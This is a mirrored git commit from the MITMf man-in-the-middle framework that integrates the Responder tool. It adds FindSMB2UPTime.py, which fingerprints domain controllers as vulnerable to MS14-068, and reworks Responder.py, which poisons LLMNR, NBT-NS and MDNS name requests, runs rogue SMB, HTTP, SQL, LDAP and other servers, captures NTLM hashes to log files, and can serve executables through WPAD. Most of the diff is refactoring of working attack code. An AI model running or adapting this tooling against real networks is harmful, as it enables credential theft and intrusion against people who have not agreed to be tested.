mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
responder integration complete
This commit is contained in:
parent
4fdf3e6c8b
commit
32bd4b64e4
18 changed files with 273 additions and 164 deletions
|
@ -1,4 +1,4 @@
|
|||
MITMf V0.8
|
||||
MITMf V0.9
|
||||
==========
|
||||
|
||||
Framework for Man-In-The-Middle attacks
|
||||
|
@ -8,6 +8,7 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it
|
|||
This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project.
|
||||
|
||||
Availible plugins:
|
||||
- Responder
|
||||
- Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries
|
||||
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
|
||||
- AppCachePoison - Perform app cache poison attacks
|
||||
|
|
|
@ -1,4 +1,10 @@
|
|||
ChangeLog Responder 2.0.8:
|
||||
ChangeLog Responder 2.1.4:
|
||||
- Added: FindSMB2UPTime.py
|
||||
- Added: FindSQLSrv.py
|
||||
- Added: DontRespondTo and DontRespondToName options in Responder.conf
|
||||
- Added: Lanman module
|
||||
- Added: Analyze mode
|
||||
- Added: SMBRelay
|
||||
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||
- Added: In-scope llmnr/nbt-ns name option
|
||||
|
|
116
libs/responder/FindSMB2UPTime.py
Executable file
116
libs/responder/FindSMB2UPTime.py
Executable file
|
@ -0,0 +1,116 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import datetime, struct
|
||||
import sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
|
||||
def IsDCVuln(t):
|
||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
("Cmd", "\x72"),
|
||||
("Error-Code", "\x00\x00\x00\x00" ),
|
||||
("Flag1", "\x10"),
|
||||
("Flag2", "\x00\x00"),
|
||||
("Pidhigh", "\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("TID", "\x00\x00"),
|
||||
("PID", "\xff\xfe"),
|
||||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("StrType","\x02" ),
|
||||
("dialect", "NT LM 0.12\x00"),
|
||||
("StrType1","\x02"),
|
||||
("dialect1", "SMB 2.002\x00"),
|
||||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
])
|
||||
|
||||
def run(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(5)
|
||||
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = NbtLen(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
try:
|
||||
data = s.recv(1024)
|
||||
if data[4:5] == "\xff":
|
||||
print "This host doesn't support SMBv2"
|
||||
if data[4:5] == "\xfe":
|
||||
IsDCVuln(GetBootTime(data[116:124]))
|
||||
except Exception:
|
||||
s.close()
|
||||
raise
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv)<=1:
|
||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
||||
host = sys.argv[1],445
|
||||
run(host)
|
|
@ -17,7 +17,7 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct,string
|
||||
from socket import *
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,socket,struct
|
||||
from socket import *
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
class Packet():
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
class Packet():
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,socket,struct,optparse,random,pipes
|
||||
from socket import *
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
from random import randrange
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -16,38 +16,55 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import SocketServer
|
||||
import re
|
||||
import socket
|
||||
import thread
|
||||
import libs.responder.Fingerprint
|
||||
import random
|
||||
import os
|
||||
import ConfigParser
|
||||
import BaseHTTPServer
|
||||
import select
|
||||
import urlparse
|
||||
import zlib
|
||||
import string
|
||||
import logging
|
||||
import time
|
||||
from OpenSSL import SSL
|
||||
import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
|
||||
from libs.responder.Fingerprint import RunSmbFinger, OsNameClientVersion
|
||||
from libs.responder.odict import OrderedDict
|
||||
from libs.responder.RAPLANMANPackets import *
|
||||
from libs.responder.SMBPackets import *
|
||||
from libs.responder.SQLPackets import *
|
||||
from libs.responder.HTTPPackets import *
|
||||
from libs.responder.HTTPProxy import *
|
||||
from libs.responder.LDAPPackets import *
|
||||
from libs.responder.SMTPPackets import *
|
||||
from libs.responder.IMAPPackets import *
|
||||
from Fingerprint import RunSmbFinger,OsNameClientVersion
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton
|
||||
from random import randrange
|
||||
|
||||
VERSION = '2.1.2'
|
||||
|
||||
#Config parsing
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read("./config/responder.conf")
|
||||
|
||||
# Set some vars.
|
||||
On_Off = config.get('Responder Core', 'HTTP').upper()
|
||||
SSL_On_Off = config.get('Responder Core', 'HTTPS').upper()
|
||||
SMB_On_Off = config.get('Responder Core', 'SMB').upper()
|
||||
SQL_On_Off = config.get('Responder Core', 'SQL').upper()
|
||||
FTP_On_Off = config.get('Responder Core', 'FTP').upper()
|
||||
POP_On_Off = config.get('Responder Core', 'POP').upper()
|
||||
IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
|
||||
SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
|
||||
LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
|
||||
DNS_On_Off = config.get('Responder Core', 'DNS').upper()
|
||||
Krb_On_Off = config.get('Responder Core', 'Kerberos').upper()
|
||||
NumChal = config.get('Responder Core', 'Challenge')
|
||||
SessionLog = config.get('Responder Core', 'SessionLog')
|
||||
Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||
FILENAME = config.get('HTTP Server', 'Filename')
|
||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
RespondTo.split(",")
|
||||
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||
RespondToName.split(",")
|
||||
DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip()
|
||||
DontRespondTo.split(",")
|
||||
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
|
||||
DontRespondToName.split(",")
|
||||
|
||||
if HTMLToServe == None:
|
||||
HTMLToServe = ''
|
||||
|
||||
if len(NumChal) is not 16:
|
||||
print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
def IsOsX():
|
||||
Os_version = sys.platform
|
||||
if Os_version == "darwin":
|
||||
|
@ -70,6 +87,21 @@ def Analyze(AnalyzeMode):
|
|||
else:
|
||||
return False
|
||||
|
||||
#Logger
|
||||
#CommandLine = str(sys.argv)
|
||||
import logging
|
||||
#logging.basicConfig(filename="./logs/" + SessionLog, level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
|
||||
#logging.warning(StartMessage)
|
||||
|
||||
Log2Filename = "./logs/LLMNR-NBT-NS.log"
|
||||
logger2 = logging.getLogger('LLMNR/NBT-NS')
|
||||
logger2.addHandler(logging.FileHandler(Log2Filename,'a'))
|
||||
|
||||
AnalyzeFilename = "./logs/Analyze-LLMNR-NBT-NS.log"
|
||||
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
|
||||
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
|
||||
|
||||
#Function used to write captured hashs to a file.
|
||||
def WriteData(outfile,data, user):
|
||||
if os.path.isfile(outfile) == False:
|
||||
|
@ -120,6 +152,12 @@ def PrintLLMNRNBTNS(outfile,Message):
|
|||
else:
|
||||
return True
|
||||
|
||||
|
||||
# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident.
|
||||
Challenge = ""
|
||||
for i in range(0,len(NumChal),2):
|
||||
Challenge += NumChal[i:i+2].decode("hex")
|
||||
|
||||
#Packet class handling all packet generation (see odict.py).
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
@ -395,6 +433,7 @@ class NB(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#Browser Listener and Lanman Finger
|
||||
##################################################################################
|
||||
from RAPLANMANPackets import *
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
|
@ -566,6 +605,8 @@ class Browser(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#SMB Server
|
||||
##################################################################################
|
||||
from SMBPackets import *
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
@ -999,6 +1040,8 @@ class KerbUDP(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#SQL Stuff
|
||||
##################################################################################
|
||||
from SQLPackets import *
|
||||
|
||||
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
|
||||
def ParseSQLHash(data,client):
|
||||
SSPIStart = data[8:]
|
||||
|
@ -1461,6 +1504,9 @@ class MDNS(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#HTTP Stuff
|
||||
##################################################################################
|
||||
from HTTPPackets import *
|
||||
from HTTPProxy import *
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
|
@ -1885,6 +1931,7 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
##################################################################################
|
||||
#HTTPS Server
|
||||
##################################################################################
|
||||
from OpenSSL import SSL
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPSHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
|
@ -2050,6 +2097,8 @@ class FTP(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#LDAP Stuff
|
||||
##################################################################################
|
||||
from LDAPPackets import *
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
|
@ -2179,6 +2228,8 @@ class POP(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#ESMTP Stuff
|
||||
##################################################################################
|
||||
from SMTPPackets import *
|
||||
|
||||
#ESMTP server class.
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
|
@ -2209,6 +2260,8 @@ class ESMTP(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#IMAP4 Stuff
|
||||
##################################################################################
|
||||
from IMAPPackets import *
|
||||
|
||||
#ESMTP server class.
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
|
@ -2258,7 +2311,7 @@ def Is_WPAD_On(on_off):
|
|||
return False
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_SMB_On(SMB_On_Off, LM_On_Off):
|
||||
def Is_SMB_On(SMB_On_Off):
|
||||
if SMB_On_Off == "ON":
|
||||
if LM_On_Off == True:
|
||||
return thread.start_new(serve_thread_tcp, ('', 445,SMB1LM)),thread.start_new(serve_thread_tcp,('', 139,SMB1LM))
|
||||
|
@ -2328,7 +2381,7 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
|||
def server_bind(self):
|
||||
if OsInterfaceIsSupported(INTERFACE):
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface)
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
|
||||
except:
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
@ -2388,21 +2441,20 @@ def serve_thread_udp(host, port, handler):
|
|||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "[-] Error starting TCP server on port " + str(port) + ": " + str(e)
|
||||
print "Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
||||
|
||||
def serve_thread_udp_MDNS(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
||||
except Exception, e:
|
||||
print "[-] Error starting UDP server on port " + str(port) + ": " + str(e)
|
||||
|
||||
def serve_thread_udp_LLMNR(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
||||
except Exception, e:
|
||||
print "[-] Error starting UDP server on port " + str(port) + ": " + str(e)
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
|
@ -2413,8 +2465,8 @@ def serve_thread_tcp(host, port, handler):
|
|||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print "Error starting TCP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
||||
except Exception, e:
|
||||
print "[-] Error starting TCP server on port " + str(port) + ": " + str(e)
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
|
@ -2427,97 +2479,32 @@ def serve_thread_SSL(host, port, handler):
|
|||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "[-] Error starting TCP server on port " + str(port) + ": " + str(e)
|
||||
print "Check that you have the necessary permissions (i.e. root), no other servers/services are running and the correct network interface was chosen"
|
||||
|
||||
def start_responder(options, ipaddr):
|
||||
def start_responder(options, ip_address):
|
||||
|
||||
VERSION = '2.1.2'
|
||||
|
||||
global OURIP; OURIP = ipaddr
|
||||
#Cli options.
|
||||
global OURIP; OURIP = ip_address
|
||||
global LM_On_Off; LM_On_Off = options.LM_On_Off
|
||||
global WPAD_On_Off; WPAD_On_Off = options.WPAD_On_Off
|
||||
global Wredirect; Wredirect= options.Wredirect
|
||||
global Wredirect; Wredirect = options.Wredirect
|
||||
global NBTNSDomain; NBTNSDomain = options.NBTNSDomain
|
||||
global Basic; Basic = options.Basic
|
||||
global Finger_On_Off; Finger_On_Off = options.Finger
|
||||
global INTERFACE; INTERFACE = options.interface
|
||||
global BIND_TO_Interface; BIND_TO_Interface = options.interface
|
||||
global INTERFACE; INTERFACE = "Not set"
|
||||
global Verbose; Verbose = options.Verbose
|
||||
global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
global AnalyzeMode; AnalyzeMode = options.Analyse
|
||||
|
||||
global ResponderPATH; ResponderPATH = "./logs/"
|
||||
|
||||
#Read the responder.conf file
|
||||
global config
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read('./config/responder.conf')
|
||||
|
||||
On_Off = config.get('Responder Core', 'HTTP').upper()
|
||||
SSL_On_Off = config.get('Responder Core', 'HTTPS').upper()
|
||||
SMB_On_Off = config.get('Responder Core', 'SMB').upper()
|
||||
SQL_On_Off = config.get('Responder Core', 'SQL').upper()
|
||||
FTP_On_Off = config.get('Responder Core', 'FTP').upper()
|
||||
POP_On_Off = config.get('Responder Core', 'POP').upper()
|
||||
IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
|
||||
SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
|
||||
LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
|
||||
DNS_On_Off = config.get('Responder Core', 'DNS').upper()
|
||||
Krb_On_Off = config.get('Responder Core', 'Kerberos').upper()
|
||||
|
||||
NumChal = config.get('Responder Core', 'Challenge')
|
||||
if len(NumChal) is not 16:
|
||||
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
||||
|
||||
# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident.
|
||||
Challenge = ""
|
||||
for i in range(0,len(NumChal),2):
|
||||
Challenge += NumChal[i:i+2].decode("hex")
|
||||
|
||||
SessionLog = config.get('Responder Core', 'SessionLog')
|
||||
Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||
FILENAME = config.get('HTTP Server', 'Filename')
|
||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
|
||||
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
||||
if HTMLToServe == None:
|
||||
HTMLToServe = ''
|
||||
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
RespondTo.split(",")
|
||||
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||
RespondToName.split(",")
|
||||
DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip()
|
||||
DontRespondTo.split(",")
|
||||
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
|
||||
DontRespondToName.split(",")
|
||||
|
||||
#Logger
|
||||
#CommandLine = str(sys.argv)
|
||||
#logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
|
||||
#logging.warning(StartMessage)
|
||||
|
||||
|
||||
global Log2Filename
|
||||
Log2Filename = str("./logs/LLMNR-NBT-NS.log")
|
||||
global logger2
|
||||
logger2 = logging.getLogger('LLMNR/NBT-NS')
|
||||
logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
|
||||
|
||||
global AnalyzeFilename
|
||||
AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log")
|
||||
global logger3
|
||||
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
|
||||
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
|
||||
global BIND_TO_Interface; BIND_TO_Interface = "ALL"
|
||||
|
||||
AnalyzeICMPRedirect()
|
||||
|
||||
try:
|
||||
print "[*] NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % VERSION
|
||||
if AnalyzeMode:
|
||||
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n'
|
||||
|
||||
banner = "[*] NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online\n" % VERSION
|
||||
start_message = "Global Parameters set:\n"
|
||||
start_message += "Responder is bound to interface: %s\n" % INTERFACE
|
||||
start_message = "Respoder will redirect requests to: %s\n" % ip_address
|
||||
start_message += "Challenge set: %s\n" % NumChal
|
||||
start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off
|
||||
start_message += "WPAD script loaded: %s\n" % WPAD_Script
|
||||
|
@ -2537,20 +2524,16 @@ def start_responder(options, ipaddr):
|
|||
start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off
|
||||
start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
|
||||
|
||||
print banner
|
||||
print start_message
|
||||
|
||||
|
||||
if AnalyzeMode:
|
||||
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned'
|
||||
|
||||
try:
|
||||
num_thrd = 1
|
||||
Is_FTP_On(FTP_On_Off)
|
||||
Is_HTTP_On(On_Off)
|
||||
Is_HTTPS_On(SSL_On_Off)
|
||||
Is_WPAD_On(WPAD_On_Off)
|
||||
Is_Kerberos_On(Krb_On_Off)
|
||||
Is_SMB_On(SMB_On_Off, LM_On_Off)
|
||||
Is_SMB_On(SMB_On_Off)
|
||||
Is_SQL_On(SQL_On_Off)
|
||||
Is_LDAP_On(LDAP_On_Off)
|
||||
Is_DNS_On(DNS_On_Off)
|
||||
|
@ -2564,8 +2547,7 @@ def start_responder(options, ipaddr):
|
|||
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
|
||||
thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS
|
||||
thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
|
||||
|
||||
while num_thrd > 0:
|
||||
time.sleep(0.1)
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from libs.responder.odict import OrderedDict
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#import os
|
||||
#import subprocess
|
||||
import logging
|
||||
import time
|
||||
import re
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
from plugins.plugin import Plugin
|
||||
import logging
|
||||
import sys
|
||||
import os
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
from libs.responder.Responder import *
|
||||
from scapy.all import get_if_addr
|
||||
from libs.responder.Responder import start_responder
|
||||
import threading
|
||||
|
||||
class Responder(Plugin):
|
||||
name = "Responder"
|
||||
optname = "responder"
|
||||
desc = ""
|
||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
|
@ -27,7 +29,11 @@ class Responder(Plugin):
|
|||
except Exception, e:
|
||||
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||
|
||||
start_responder(options, self.ip_address)
|
||||
print "[*] Responder plugin online"
|
||||
|
||||
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue